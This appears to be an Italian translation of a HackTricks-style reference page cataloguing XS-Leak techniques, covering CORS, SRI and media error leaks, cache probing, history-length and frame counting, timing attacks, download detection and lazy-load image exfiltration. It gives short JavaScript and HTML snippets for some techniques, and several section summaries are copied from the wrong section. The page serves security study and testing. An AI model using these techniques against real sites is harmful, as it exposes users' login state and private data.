Tecnica Messaggi di Errore
Errore Media
- Metodi di Inclusione: Elementi HTML (Video, Audio)
- Differenza Rilevabile: Codice di Stato
- Ulteriori informazioni: https://bugs.chromium.org/p/chromium/issues/detail?id=828265
- Sommario: In Firefox è possibile rivelare con precisione il codice di stato di una richiesta tra origini diverse.
- Esempio di Codice: https://jsbin.com/nejatopusi/1/edit?html,css,js,output
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}
function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}
Errore CORS
- Metodi di Inclusione: Fetch API
- Differenza Rilevabile: Intestazione
- Ulteriori informazioni: https://xsinator.com/paper.pdf (5.3)
- Sommario: Nelle Dichiarazioni di Sicurezza (SA), i messaggi di errore CORS espongono involontariamente l'URL completo delle richieste reindirizzate.
- Esempio di Codice: https://xsinator.com/testing.html#CORS%20Error%20Leak
Questa tecnica consente a un attaccante di evidenziare la destinazione di un reindirizzamento di un sito cross-origin sfruttando il modo in cui i browser basati su Webkit gestiscono le richieste CORS. In particolare, quando una richiesta abilitata a CORS viene inviata a un sito di destinazione che emette un reindirizzamento basato sullo stato dell'utente e il browser successivamente nega la richiesta, l'URL completo del target del reindirizzamento viene rivelato all'interno del messaggio di errore. Questa vulnerabilità non solo rivela il reindirizzamento ma espone anche il punto finale del reindirizzamento e eventuali parametri di query sensibili che potrebbe contenere.
Errore SRI
- Metodi di Inclusione: Fetch API
- Differenza Rilevabile: Intestazione
- Ulteriori informazioni: https://xsinator.com/paper.pdf (5.3)
- Sommario: Nelle Dichiarazioni di Sicurezza (SA), i messaggi di errore CORS espongono involontariamente l'URL completo delle richieste reindirizzate.
- Esempio di Codice: https://xsinator.com/testing.html#SRI%20Error%20Leak
Un attaccante può sfruttare i messaggi di errore dettagliati per dedurre la dimensione delle risposte cross-origin. Questo è possibile grazie al meccanismo di Integrità delle Risorse Secondarie (SRI), che utilizza l'attributo di integrità per convalidare che le risorse recuperate, spesso da CDN, non siano state manomesse. Perché SRI funzioni su risorse cross-origin, queste devono essere abilitate a CORS; altrimenti, non sono soggette a controlli di integrità. Nelle Dichiarazioni di Sicurezza (SA), simile al leak XS-CORS, un messaggio di errore può essere catturato dopo una richiesta fetch con un attributo di integrità fallisce. Gli attaccanti possono deliberatamente scatenare questo errore assegnando un valore hash fasullo all'attributo di integrità di qualsiasi richiesta. In SA, il messaggio di errore risultante rivela involontariamente la lunghezza del contenuto della risorsa richiesta. Questa fuga di informazioni consente a un attaccante di distinguere le variazioni nella dimensione della risposta, aprendo la strada a sofisticati attacchi XS-Leak.
Violazione/Rilevamento CSP
- Metodi di Inclusione: Pop-up
- Differenza Rilevabile: Codice di Stato
- Ulteriori informazioni: https://bugs.chromium.org/p/chromium/issues/detail?id=313737, https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html, https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects
- Sommario: Consentendo solo il sito delle vittime nella CSP, se proviamo ad accedervi e cerca di reindirizzare su un dominio diverso, la CSP attiverà un errore rilevabile.
- Esempio di Codice: https://xsinator.com/testing.html#CSP%20Violation%20Leak, https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation
Un XS-Leak può utilizzare la CSP per rilevare se un sito cross-origin è stato reindirizzato su un'origine diversa. Questa fuga può rilevare il reindirizzamento, ma inoltre, il dominio del target del reindirizzamento viene rivelato. L'idea di base di questo attacco è consentire il dominio di destinazione sul sito dell'attaccante. Una volta emessa una richiesta al dominio di destinazione, questo si reindirizza su un dominio cross-origin. La CSP blocca l'accesso ad esso e crea un rapporto di violazione utilizzato come tecnica di leak. A seconda del browser, questo rapporto può rivelare la posizione di destinazione del reindirizzamento.
I browser moderni non indicano l'URL a cui è stato reindirizzato, ma è comunque possibile rilevare che è stato attivato un reindirizzamento cross-origin.
Cache
- Metodi di Inclusione: Frame, Pop-up
- Differenza Rilevabile: Contenuto della Pagina
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events, https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html
- Sommario: Cancella il file dalla cache. Apre la pagina di destinazione e verifica se il file è presente nella cache.
- Esempio di Codice:
I browser potrebbero utilizzare una cache condivisa per tutti i siti web. Indipendentemente dalla loro origine, è possibile dedurre se una pagina di destinazione ha richiesto un file specifico.
Se una pagina carica un'immagine solo se l'utente è autenticato, è possibile invalidare la risorsa (in modo che non sia più in cache se lo era, vedi link per ulteriori informazioni), effettuare una richiesta che potrebbe caricare quella risorsa e provare a caricare la risorsa con una richiesta errata (ad esempio utilizzando un header referer troppo lungo). Se il caricamento della risorsa non attiva alcun errore, è perché era in cache.
Direttiva CSP
- Metodi di Inclusione: Frame
- Differenza Rilevabile: Intestazione
- Ulteriori informazioni: https://bugs.chromium.org/p/chromium/issues/detail?id=1105875
- Sommario: Le direttive dell'intestazione CSP possono essere esplorate utilizzando l'attributo iframe CSP, rivelando dettagli della policy.
- Esempio di Codice: https://xsinator.com/testing.html#CSP%20Directive%20Leak
Una nuova funzionalità in Google Chrome (GC) consente alle pagine web di proporre una Content Security Policy (CSP) impostando un attributo su un elemento iframe, con direttive di policy trasmesse insieme alla richiesta HTTP. Normalmente, il contenuto incorporato deve autorizzare questo tramite un'intestazione HTTP, altrimenti viene visualizzata una pagina di errore. Tuttavia, se l'iframe è già regolato da una CSP e la nuova policy proposta non è più restrittiva, la pagina verrà caricata normalmente. Questo meccanismo apre una via per un attaccante per rilevare specifiche direttive CSP di una pagina cross-origin identificando la pagina di errore. Anche se questa vulnerabilità è stata segnalata come risolta, le nostre scoperte rivelano una nuova tecnica di leak in grado di rilevare la pagina di errore, suggerendo che il problema sottostante non è mai stato completamente risolto.
CORP
- Metodi di Inclusione: Fetch API
- Differenza Rilevabile: Intestazione
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/browser-features/corp/
- Sommario: Le risorse protette con Cross-Origin Resource Policy (CORP) genereranno un errore quando recuperate da un'origine non consentita.
- Esempio di Codice: https://xsinator.com/testing.html#CORP%20Leak
CORB
- Metodi di Inclusione: Elementi HTML
- Differenza Rilevabile: Intestazioni
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header
- Sommario: CORB può consentire agli attaccanti di rilevare la presenza dell'intestazione
nosniff
nella richiesta. - Esempio di Codice: https://xsinator.com/testing.html#CORB%20Leak
Controlla il link per ulteriori informazioni sull'attacco.
Errore CORS sulla configurazione errata di Origin Reflection
- Metodi di Inclusione: Fetch API
- Differenza Rilevabile: Intestazioni
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
- Sommario: Se l'intestazione Origin viene riflessa nell'intestazione
Access-Control-Allow-Origin
, è possibile verificare se una risorsa è già presente nella cache. - Esempio di Codice: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
Nel caso in cui l'intestazione Origin venga riflessa nell'intestazione Access-Control-Allow-Origin
, un attaccante può sfruttare questo comportamento per provare a recuperare la risorsa in modalità CORS. Se non viene generato un errore, significa che è stata recuperata correttamente dal web, se viene generato un errore, è perché è stata acceduta dalla cache (l'errore appare perché la cache salva una risposta con un'intestazione CORS che consente il dominio originale e non il dominio dell'attaccante).
Nota che se l'origine non viene riflessa ma viene utilizzato un carattere jolly (Access-Control-Allow-Origin: *
), questo metodo non funzionerà.
Tecnica degli Attributi Leggibili
Reindirizzamento Fetch
- Metodi di Inclusione: Fetch API
- Differenza Rilevabile: Codice di Stato
- Ulteriori informazioni: https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html
- Sommario: GC e SA consentono di verificare il tipo di risposta (redirezione opaca) dopo il completamento del reindirizzamento.
- Esempio di Codice: https://xsinator.com/testing.html#Fetch%20Redirect%20Leak
Inviando una richiesta utilizzando Fetch API con redirect: "manual"
e altri parametri, è possibile leggere l'attributo response.type
e se è uguale a opaqueredirect
, allora la risposta è stata un reindirizzamento.
COOP
- Metodi di Inclusione: Pop-up
- Differenza Rilevabile: Intestazione
- Ulteriori informazioni: https://xsinator.com/paper.pdf (5.4), https://xsleaks.dev/docs/attacks/window-references/
- Sommario: Le pagine protette dalla Cross-Origin Opener Policy (COOP) impediscono l'accesso da interazioni cross-origin.
- Esempio di Codice: https://xsinator.com/testing.html#COOP%20Leak
Un attaccante è in grado di dedurre la presenza dell'intestazione Cross-Origin Opener Policy (COOP) in una risposta HTTP cross-origin. COOP è utilizzato dalle applicazioni web per impedire ai siti esterni di ottenere riferimenti a finestre arbitrari. La visibilità di questa intestazione può essere individuata tentando di accedere al riferimento contentWindow
. Nei casi in cui COOP viene applicato condizionalmente, la proprietà opener
diventa un indicatore rivelatore: è non definita quando COOP è attiva e definita in sua assenza.
Lunghezza Massima dell'URL - Lato Server
- Metodi di Inclusione: Fetch API, Elementi HTML
- Differenza Rilevabile: Codice di Stato / Contenuto
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
- Sommario: Rilevare differenze nelle risposte a causa della lunghezza della risposta al reindirizzamento potrebbe essere troppo grande in modo che il server risponda con un errore e venga generato un avviso.
- Esempio di Codice: https://xsinator.com/testing.html#URL%20Max%20Length%20Leak
Se un reindirizzamento lato server utilizza input utente all'interno del reindirizzamento e dati aggiuntivi, è possibile rilevare questo comportamento perché di solito i server hanno un limite di lunghezza della richiesta. Se i dati utente sono di quella lunghezza - 1, poiché il reindirizzamento sta utilizzando quei dati e aggiungendo qualcosa in più, verrà generato un errore rilevabile tramite Error Events.
Se in qualche modo è possibile impostare i cookie per un utente, è possibile eseguire questo attacco impostando abbastanza cookie (cookie bomb) in modo che con la dimensione della risposta aumentata della risposta corretta venga generato un errore. In questo caso, ricorda che se attivi questa richiesta da un sito stesso, <script>
invierà automaticamente i cookie (così puoi controllare gli errori).
Un esempio del cookie bomb + XS-Search può essere trovato nella soluzione prevista di questo articolo: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended
SameSite=None
o essere nello stesso contesto è di solito necessario per questo tipo di attacco.
Lunghezza Massima dell'URL - Lato Client
- Metodi di Inclusione: Pop-up
- Differenza Rilevabile: Codice di Stato / Contenuto
- Ulteriori informazioni: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
- Sommario: Rilevare differenze nelle risposte a causa della lunghezza della risposta al reindirizzamento potrebbe essere troppo grande per una richiesta in modo che una differenza possa essere notata.
- Esempio di Codice: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
Secondo la documentazione di Chromium, la lunghezza massima dell'URL di Chrome è di 2MB.
In generale, la piattaforma web non ha limiti sulla lunghezza degli URL (anche se 2^31 è un limite comune). Chrome limita gli URL a una lunghezza massima di 2MB per motivi pratici e per evitare problemi di negazione del servizio nella comunicazione tra processi.
Pertanto, se l'URL di reindirizzamento risponde è più grande in uno dei casi, è possibile farlo reindirizzare con un URL più grande di 2MB per colpire il limite di lunghezza. Quando ciò accade, Chrome mostra una pagina about:blank#blocked
.
La differenza rilevabile è che se il reindirizzamento è stato completato, window.origin
genera un errore perché un'origine incrociata non può accedere a queste informazioni. Tuttavia, se il limite è stato raggiunto e la pagina caricata era about:blank#blocked
, l'origin
della finestra rimane quello del genitore, che è un'informazione accessibile.
Tutte le informazioni aggiuntive necessarie per raggiungere i 2MB possono essere aggiunte tramite un hash nell'URL iniziale in modo che venga utilizzato nel reindirizzamento.
{% content-ref url="xs-search/url-max-length-client-side.md" %} url-max-length-client-side.md {% endcontent-ref %}
Numero massimo di reindirizzamenti
- Metodi di inclusione: Fetch API, Frames
- Differenza rilevabile: Codice di stato
- Ulteriori informazioni: https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76
- Sommario: Utilizzare il limite di reindirizzamenti del browser per verificare la presenza di reindirizzamenti URL.
- Esempio di codice: https://xsinator.com/testing.html#Max%20Redirect%20Leak
Se il numero massimo di reindirizzamenti da seguire di un browser è 20, un attaccante potrebbe provare a caricare la sua pagina con 19 reindirizzamenti e infine mandare la vittima alla pagina testata. Se viene generato un errore, allora la pagina stava cercando di reindirizzare la vittima.
Lunghezza della cronologia
- Metodi di inclusione: Frames, Pop-up
- Differenza rilevabile: Reindirizzamenti
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/navigations/
- Sommario: Il codice JavaScript manipola la cronologia del browser e può essere accessibile tramite la proprietà length.
- Esempio di codice: https://xsinator.com/testing.html#History%20Length%20Leak
L'API della cronologia consente al codice JavaScript di manipolare la cronologia del browser, che salva le pagine visitate da un utente. Un attaccante può utilizzare la proprietà length come metodo di inclusione: per rilevare la navigazione JavaScript e HTML.
Controllando history.length
, facendo navigare un utente verso una pagina, riportandolo alla stessa origine e controllando il nuovo valore di history.length
.
Lunghezza della cronologia con lo stesso URL
- Metodi di inclusione: Frames, Pop-up
- Differenza rilevabile: Se l'URL è lo stesso di quello indovinato
- Sommario: È possibile indovinare se la posizione di un frame/popup è in un URL specifico abusando della lunghezza della cronologia.
- Esempio di codice: Di seguito
Un attaccante potrebbe utilizzare il codice JavaScript per manipolare la posizione del frame/pop-up verso un URL indovinato e cambiarlo immediatamente a about:blank
. Se la lunghezza della cronologia aumenta, significa che l'URL era corretto ed ha avuto il tempo di aumentare perché l'URL non viene ricaricato se è lo stesso. Se non è aumentato, significa che ha provato a caricare l'URL indovinato ma poiché immediatamente dopo abbiamo caricato about:blank
, la lunghezza della cronologia non è mai aumentata durante il caricamento dell'URL indovinato.
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));
win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));
Conteggio Frame
- Metodi di Inclusione: Frame, Pop-up
- Differenza Rilevabile: Contenuto della Pagina
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/frame-counting/
- Sommario: Valutare la quantità di elementi iframe ispezionando la proprietà
window.length
. - Esempio di Codice: https://xsinator.com/testing.html#Frame%20Count%20Leak
Contare il numero di frame in una pagina web aperta tramite iframe
o window.open
potrebbe aiutare a identificare lo stato dell'utente su quella pagina.
Inoltre, se la pagina ha sempre lo stesso numero di frame, controllare continuamente il numero di frame potrebbe aiutare a identificare un pattern che potrebbe rivelare informazioni.
Un esempio di questa tecnica è che in Chrome, un PDF può essere rilevato con il conteggio dei frame perché viene utilizzato internamente un embed
. Ci sono Parametri di URL Aperti che consentono un certo controllo sul contenuto come zoom
, view
, page
, toolbar
dove questa tecnica potrebbe essere interessante.
HTMLElements
- Metodi di Inclusione: Elementi HTML
- Differenza Rilevabile: Contenuto della Pagina
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/element-leaks/
- Sommario: Leggere il valore rivelato per distinguere tra 2 stati possibili
- Esempio di Codice: https://xsleaks.dev/docs/attacks/element-leaks/, https://xsinator.com/testing.html#Media%20Dimensions%20Leak, https://xsinator.com/testing.html#Media%20Duration%20Leak
La fuga di informazioni attraverso gli elementi HTML è una preoccupazione nella sicurezza web, in particolare quando vengono generati file multimediali dinamici basati sulle informazioni dell'utente, o quando vengono aggiunti watermark, modificando le dimensioni dei media. Questo può essere sfruttato dagli attaccanti per differenziare tra possibili stati analizzando le informazioni esposte da determinati elementi HTML.
Informazioni Esposte dagli Elementi HTML
- HTMLMediaElement: Questo elemento rivela i tempi di
durata
ebuffering
dei media, che possono essere accessibili tramite la sua API. Ulteriori informazioni su HTMLMediaElement - HTMLVideoElement: Espone
videoHeight
evideoWidth
. In alcuni browser, sono disponibili proprietà aggiuntive comewebkitVideoDecodedByteCount
,webkitAudioDecodedByteCount
ewebkitDecodedFrameCount
, offrendo informazioni più dettagliate sul contenuto multimediale. Ulteriori informazioni su HTMLVideoElement - getVideoPlaybackQuality(): Questa funzione fornisce dettagli sulla qualità della riproduzione video, inclusi
totalVideoFrames
, che possono indicare la quantità di dati video elaborati. Ulteriori informazioni su getVideoPlaybackQuality() - HTMLImageElement: Questo elemento rivela l'altezza e la larghezza di un'immagine. Tuttavia, se un'immagine è non valida, queste proprietà restituiranno 0 e la funzione
image.decode()
verrà rifiutata, indicando il fallimento nel caricamento corretto dell'immagine. Ulteriori informazioni su HTMLImageElement
Proprietà CSS
- Metodi di Inclusione: Elementi HTML
- Differenza Rilevabile: Contenuto della Pagina
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle, https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html
- Sommario: Identificare variazioni nello stile del sito web che corrispondono allo stato dell'utente.
- Esempio di Codice: https://xsinator.com/testing.html#CSS%20Property%20Leak
Le applicazioni web possono cambiare lo stile del sito web a seconda dello stato dell'utente. I file CSS cross-origin possono essere incorporati nella pagina dell'attaccante con l'elemento link HTML, e le regole verranno applicate alla pagina dell'attaccante. Se una pagina cambia dinamicamente queste regole, un attaccante può rilevare queste differenze a seconda dello stato dell'utente.
Come tecnica di fuga, l'attaccante può utilizzare il metodo window.getComputedStyle
per leggere le proprietà CSS di un elemento HTML specifico. Di conseguenza, un attaccante può leggere le proprietà CSS arbitrarie se l'elemento interessato e il nome della proprietà sono noti.
Storia CSS
- Metodi di Inclusione: Elementi HTML
- Differenza Rilevabile: Contenuto della Pagina
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history
- Sommario: Rilevare se lo stile
:visited
è applicato a un URL indicando che è stato già visitato - Esempio di Codice: http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html
{% hint style="info" %} Secondo questo, questo non funziona in Chrome headless. {% endhint %}
Il selettore CSS :visited
viene utilizzato per stilizzare in modo diverso gli URL se sono stati visitati in precedenza dall'utente. In passato, il metodo getComputedStyle()
poteva essere utilizzato per identificare queste differenze di stile. Tuttavia, i browser moderni hanno implementato misure di sicurezza per impedire a questo metodo di rivelare lo stato di un link. Queste misure includono il restituire sempre lo stile calcolato come se il link fosse stato visitato e il limitare gli stili che possono essere applicati con il selettore :visited
.
Nonostante queste restrizioni, è possibile discernere lo stato visitato di un link in modo indiretto. Una tecnica coinvolge l'inganno dell'utente nell'interagire con un'area influenzata dal CSS, utilizzando specificamente la proprietà mix-blend-mode
. Questa proprietà consente di mescolare gli elementi con lo sfondo, rivelando potenzialmente lo stato visitato in base all'interazione dell'utente.
Inoltre, la rilevazione può essere ottenuta senza interazione dell'utente sfruttando i tempi di rendering dei link. Poiché i browser possono renderizzare i link visitati e non visitati in modo diverso, ciò può introdurre una differenza di tempo misurabile nel rendering. È stato menzionato un proof of concept (PoC) in un report di bug di Chromium, dimostrando questa tecnica utilizzando più link per amplificare la differenza temporale, rendendo quindi lo stato visitato rilevabile attraverso l'analisi temporale.
Per ulteriori dettagli su queste proprietà e metodi, visita le loro pagine di documentazione:
:visited
: Documentazione MDNgetComputedStyle()
: Documentazione MDNmix-blend-mode
: Documentazione MDN
ContentDocument X-Frame Leak
- Metodi di Inclusione: Frame
- Differenza Rilevabile: Intestazioni
- Ulteriori informazioni: https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf
- Sommario: In Google Chrome, viene visualizzata una pagina di errore dedicata quando una pagina viene bloccata dal essere incorporata in un sito cross-origin a causa delle restrizioni di X-Frame-Options.
- Esempio di Codice: https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak
In Chrome, se una pagina con l'intestazione X-Frame-Options
impostata su "deny" o "same-origin" viene incorporata come un oggetto, compare una pagina di errore. Chrome restituisce in modo univoco un oggetto documento vuoto (anziché null
) per la proprietà contentDocument
di questo oggetto, a differenza degli iframe o di altri browser. Gli attaccanti potrebbero sfruttare questo rilevando il documento vuoto, rivelando potenzialmente informazioni sullo stato dell'utente, specialmente se gli sviluppatori impostano in modo inconsistente l'intestazione X-Frame-Options, spesso trascurando le pagine di errore. La consapevolezza e l'applicazione coerente delle intestazioni di sicurezza sono cruciali per prevenire tali falle.
Rilevamento del Download
- Metodi di Inclusione: Frame, Pop-up
- Differenza Rilevabile: Intestazioni
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/navigations/#download-trigger
- Sommario: Un attaccante può distinguere i download di file sfruttando gli iframe; la continuata accessibilità dell'iframe implica un download di file riuscito.
- Esempio di Codice: https://xsleaks.dev/docs/attacks/navigations/#download-bar
L'intestazione Content-Disposition
, in particolare Content-Disposition: attachment
, istruisce il browser a scaricare il contenuto anziché visualizzarlo inline. Questo comportamento può essere sfruttato per rilevare se un utente ha accesso a una pagina che attiva un download di file. Nei browser basati su Chromium, ci sono alcune tecniche per rilevare questo comportamento di download:
- Monitoraggio della Barra di Download:
- Quando un file viene scaricato nei browser basati su Chromium, compare una barra di download nella parte inferiore della finestra del browser.
- Monitorando i cambiamenti dell'altezza della finestra, gli attaccanti possono dedurre l'apparizione della barra di download, suggerendo che è stato avviato un download.
- Navigazione del Download con Iframe:
- Quando una pagina attiva un download di file utilizzando l'intestazione
Content-Disposition: attachment
, ciò non provoca un evento di navigazione. - Caricando il contenuto in un iframe e monitorando gli eventi di navigazione, è possibile verificare se la disposizione del contenuto provoca un download di file (nessuna navigazione) o meno.
- Navigazione del Download senza Iframe:
- Simile alla tecnica dell'iframe, questo metodo coinvolge l'uso di
window.open
anziché di un iframe. - Monitorando gli eventi di navigazione nella finestra appena aperta è possibile scoprire se è stato attivato un download di file (nessuna navigazione) o se il contenuto viene visualizzato inline (si verifica una navigazione).
In scenari in cui solo gli utenti autenticati possono attivare tali download, queste tecniche possono essere utilizzate per dedurre indirettamente lo stato di autenticazione dell'utente in base alla risposta del browser alla richiesta di download.
Bypass della Cache HTTP Partizionata
- Metodi di Inclusione: Pop-up
- Differenza Rilevabile: Temporizzazione
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass
- Sommario: Un attaccante può distinguere i download di file sfruttando gli iframe; la continuata accessibilità dell'iframe implica un download di file riuscito.
- Esempio di Codice: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass, https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722 (da https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)
{% hint style="warning" %}
Questo è il motivo per cui questa tecnica è interessante: Chrome ora ha la partizione della cache, e la chiave della cache della pagina appena aperta è: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)
, ma se apro una pagina ngrok e faccio fetch su di essa, la chiave della cache sarà: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)
, la chiave della cache è diversa, quindi la cache non può essere condivisa. Puoi trovare maggiori dettagli qui: Gaining security and privacy by partitioning the cache
(Commento da qui)
{% endhint %}
Se un sito esempio.com
include una risorsa da *.esempio.com/risorsa
allora quella risorsa avrà la stessa chiave di caching come se la risorsa fosse stata richiesta direttamente tramite navigazione di primo livello. Questo perché la chiave di caching è composta da eTLD+1 di primo livello e eTLD+1 del frame.
Poiché l'accesso alla cache è più veloce del caricamento di una risorsa, è possibile provare a cambiare la posizione di una pagina e annullarla 20ms (ad esempio) dopo. Se l'origine è stata cambiata dopo l'annullamento, significa che la risorsa era in cache.
Oppure si potrebbe semplicemente inviare qualche fetch alla pagina potenzialmente in cache e misurare il tempo che impiega.
Redirect Manuale
- Metodi di Inclusione: Fetch API
- Differenza Rilevabile: Redirect
- Ulteriori informazioni: ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234
- Sommario: È possibile scoprire se una risposta a una richiesta fetch è un redirect
- Esempio di Codice:
Fetch con AbortController
- Metodi di Inclusione: Fetch API
- Differenza Rilevabile: Temporizzazione
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
- Sommario: È possibile provare a caricare una risorsa e interrompere il caricamento prima che sia completato. A seconda se viene generato un errore, la risorsa è stata o non è stata memorizzata nella cache.
- Esempio di Codice: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
Utilizzare fetch e setTimeout con un AbortController per rilevare se la risorsa è in cache ed espellere una risorsa specifica dalla cache del browser. Inoltre, il processo avviene senza memorizzare nuovi contenuti.
Inquinamento dello Script
- Metodi di Inclusione: Elementi HTML (script)
- Differenza Rilevabile: Contenuto della Pagina
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
- Sommario: È possibile sovrascrivere le funzioni integrate e leggere i loro argomenti anche da uno script cross-origin (che non può essere letto direttamente), ciò potrebbe rivelare informazioni preziose.
- Esempio di Codice: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
Service Workers
- Metodi di Inclusione: Pop-up
- Differenza Rilevabile: Contenuto della Pagina
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers
- Sommario: Misura il tempo di esecuzione di un sito web utilizzando i service workers.
- Esempio di Codice:
Nel caso preso in considerazione, l'attaccante prende l'iniziativa di registrare un service worker all'interno di uno dei loro domini, specificamente "attaccante.com". Successivamente, l'attaccante apre una nuova finestra nel sito di destinazione dal documento principale e istruisce il service worker a avviare un timer. Mentre la nuova finestra inizia a caricarsi, l'attaccante naviga il riferimento ottenuto nel passaggio precedente verso una pagina gestita dal service worker.
All'arrivo della richiesta avviata nel passaggio precedente, il service worker risponde con un codice di stato 204 (No Content), terminando efficacemente il processo di navigazione. A questo punto, il service worker cattura una misurazione dal timer avviato in precedenza nel secondo passaggio. Questa misurazione è influenzata dalla durata di JavaScript che causa ritardi nel processo di navigazione.
{% hint style="warning" %} In un timing di esecuzione è possibile eliminare i fattori di rete per ottenere misure più precise. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla. {% endhint %}
Timing del Fetch
- Metodi di Inclusione: Fetch API
- Differenza Rilevabile: Timing (generalmente dovuto al Contenuto della Pagina, Codice di Stato)
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
- Sommario: Utilizzare performance.now() per misurare il tempo impiegato per effettuare una richiesta. Altri orologi potrebbero essere utilizzati.
- Esempio di Codice: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
Timing tra Finestre
- Metodi di Inclusione: Pop-up
- Differenza Rilevabile: Timing (generalmente dovuto al Contenuto della Pagina, Codice di Stato)
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
- Sommario: Utilizzare performance.now() per misurare il tempo impiegato per effettuare una richiesta utilizzando
window.open
. Altri orologi potrebbero essere utilizzati. - Esempio di Codice: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
Utilizza Trickest per costruire facilmente e automatizzare flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo.
Ottieni l'Accesso Oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Con HTML o Re Iniezione
Qui puoi trovare tecniche per esfiltrare informazioni da un HTML cross-origin iniettando contenuto HTML. Queste tecniche sono interessanti nei casi in cui per qualsiasi motivo puoi iniettare HTML ma non puoi iniettare codice JS.
Markup Sospeso
{% content-ref url="dangling-markup-html-scriptless-injection/" %} dangling-markup-html-scriptless-injection {% endcontent-ref %}
Caricamento Pigro delle Immagini
Se hai bisogno di esfiltrare contenuti e puoi aggiungere HTML prima del segreto dovresti controllare le tecniche comuni di markup sospeso.
Tuttavia, se per qualsiasi motivo DEVI farlo carattere per carattere (forse la comunicazione avviene tramite un hit di cache) puoi usare questo trucco.
Le immagini in HTML hanno un attributo "loading" il cui valore può essere "lazy". In tal caso, l'immagine verrà caricata quando viene visualizzata e non durante il caricamento della pagina:
<img src=/something loading=lazy >
Quindi, ciò che puoi fare è aggiungere molti caratteri spazzatura (ad esempio migliaia di "W") per riempire la pagina web prima del segreto o aggiungere qualcosa come <br><canvas height="1850px"></canvas><br>.
Quindi, se ad esempio la nostra iniezione appare prima della flag, l'immagine verrà caricata, ma se appare dopo la flag, la flag + la spazzatura impediranno il caricamento (dovrai giocare con la quantità di spazzatura da inserire). Questo è ciò che è successo in questo writeup.
Un'altra opzione sarebbe utilizzare il scroll-to-text-fragment se consentito:
Scroll-to-text-fragment
Tuttavia, fai accedere al bot alla pagina con qualcosa del genere
#:~:text=SECR
